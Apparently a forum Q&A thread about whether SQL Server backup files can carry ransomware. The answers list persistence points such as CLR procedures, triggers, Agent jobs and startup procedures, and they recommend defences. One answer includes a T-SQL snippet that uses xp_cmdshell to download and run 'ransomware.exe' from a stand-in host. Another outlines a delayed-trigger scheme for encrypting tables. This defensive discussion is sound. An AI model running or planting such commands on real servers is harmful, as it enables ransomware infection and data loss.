One of the best protections against ransomware is to back up all of your database files to a completely separate system. Which we have done.
But one thought is the backup of the database could potentially now contain the ransomware. Is this possible? This is a 2016 SQL Server native created .bak. Or is it impossible for ransomware to embed itself into a backup file?
Below are the methods you can try. The first solution is probably the best. Try others if the first one doesn’t work. Senior developers aren’t just copying/pasting – they read the methods carefully & apply them wisely to each case.
Yes. I’ve never seen this though.
SQL Server has a feature where you can write stored procedures in C#. We looked into using it once. As of a few releases ago, this feature is turned off by default.
So if ransomware turns the feature on, and converts some stored procedures to C# and adds itself, when you restore the backup you will get an error trying to use said stored procedures, and probably turn it on for it. Then the C# code will run.
Now here’s where it gets juicy. There have been so many sandbox escape vulnerabilities that MS gave up and deprecated Silverlight and turned off the .NET Stored procedures in SQL Server by default. It would be ill-advised to assume that just because you can’t find one that works today there aren’t any more left.
A slightly more realistic attack would be modifying a SP that does something along the lines of
IF (session is admin) BEGIN -- xp_cmdshell is off by default but this is a speed bump; SQL can just turn it on -- I've done it before because I had to put up with surface area configuration broken, but I'm not writing it here xp_cmdshell 'powershell wget https://badsite.com/ransomware.exe' xp_cmdhsell 'ransomware.exe' END
and then just wait for some sysadmin to execute it. Backups restored on temporary instances rarely are used by properly restricted users. On the other hand, said ransomeware is going to need to be pretty worm-like to get anything that can’t just be wiped.
Never say never, but since backups aren’t executable files and contain no directly executable code (they’re about the data, not the SQL Server software itself) I would think the risk is very, very low. It would be more likely that your backup files would be the target of the ramsomware rather than the agent of infection. Anything executable would have to be executable from within the database, like a stored procedure. There are far more effective and direct ways for ransomware to spread.
What you typically have to worry about is ransomware finding your backups on the network and encrypting them. When ransomware hits your network, it typically propagates quickly, and locks down everything it can find. If the ransomware obtains domain admin privileges, this typically happens in a matter of minutes.
Worst case scenario, ransomware takes your database server offline, and encrypts all backups as well. If you don’t have offline copies of your backups, it could be challenging, if not impossible, to recover from it. To truly protect yourself, make sure you’re keeping offline copies of your backups.
Apart from @Joshua’s answer on SQLCLR procedures, there are other places that viruses and ransomware can worm into:
- Database level DDL triggers, which would have the benefit of being executed by a DBA, who probably has
This leads on to some more pernicious places:
msdbdatabase, in particular the SQL Server Agent Jobs tables, where it could set up a scheduled job to run at particular intervals. This could be in T-SQL, or in Powershell.
- It could worm into the
masterdatabase. If it got into here, there are a few different places it could hide:
- It could set a DDL trigger, the same as any other database.
- It could set a Logon trigger, which would execute every time someone logs on, which I think executes as
- It could set up an Automatic Execution procedure, which runs on every start-up. This is done with the
- It could worm into
tempdb, where it could set up a DDL trigger to fire every time a temp table is created.
tempdbis not backed up though.
- It could hide in the
modeldatabase, ready to pop out next time you create a new database.
None of these things are possible if permissions on these databases are not changed, and the virus never gets
sysadmin rights, which admittedly is difficult to prevent.
Note also that the account that SQL Server runs under should be a limited service account rather than
SYSTEM, which would prevent a complete compromise of the server operating system if SQL Server is compromised in the above fashion.
Note further that if there was a compromise of the operating system up to Administrator/
su level, consider all the above SQL Server locations suspect. Best practice would be to build the system databases from scratch.
Generally, ransomware runs as a program in your operating system, encrypts files (possibly depending on file type), and, if you’re lucky, doesn’t leave any time bombs in decrypted exe files later.
However, ransomware could directly target a database, although I’m not aware of any which does that (yet). This would likely be a targeted attack, not a general one, as general attacks try to find as many targets as possible, and there are many more general servers/PCs than database servers.
If I wanted to write some ransomware to target you directly, I’d write a stored procedure and attach it to a trigger somewhere. Make the stored procedure do nothing for a week or two after infection, to make sure current backups contain the stored procedure as well. After two weeks, the stored procedure would start to encrypt your database tables. Make an encrypted copy of every table, which would take a while, then drop the original tables, at which point you’d notice something is wrong.
In that scenario, all your full backups would have the stored procedure and trigger as well, so after restoring a backup your database would seem normal for a while, until the trigger hits again.
Of course, the stored procedure would normally not be able to access your file system (but beware of databases that allow file system access), but a database that becomes unusable every few days is bad enough for your organization.
If you are able to do a clean install of your software, and create an empty database according to vendor specs, then restore just the table data (basically, a restore that contains only DML, no DDL statements), you’d get rid of the ransomware.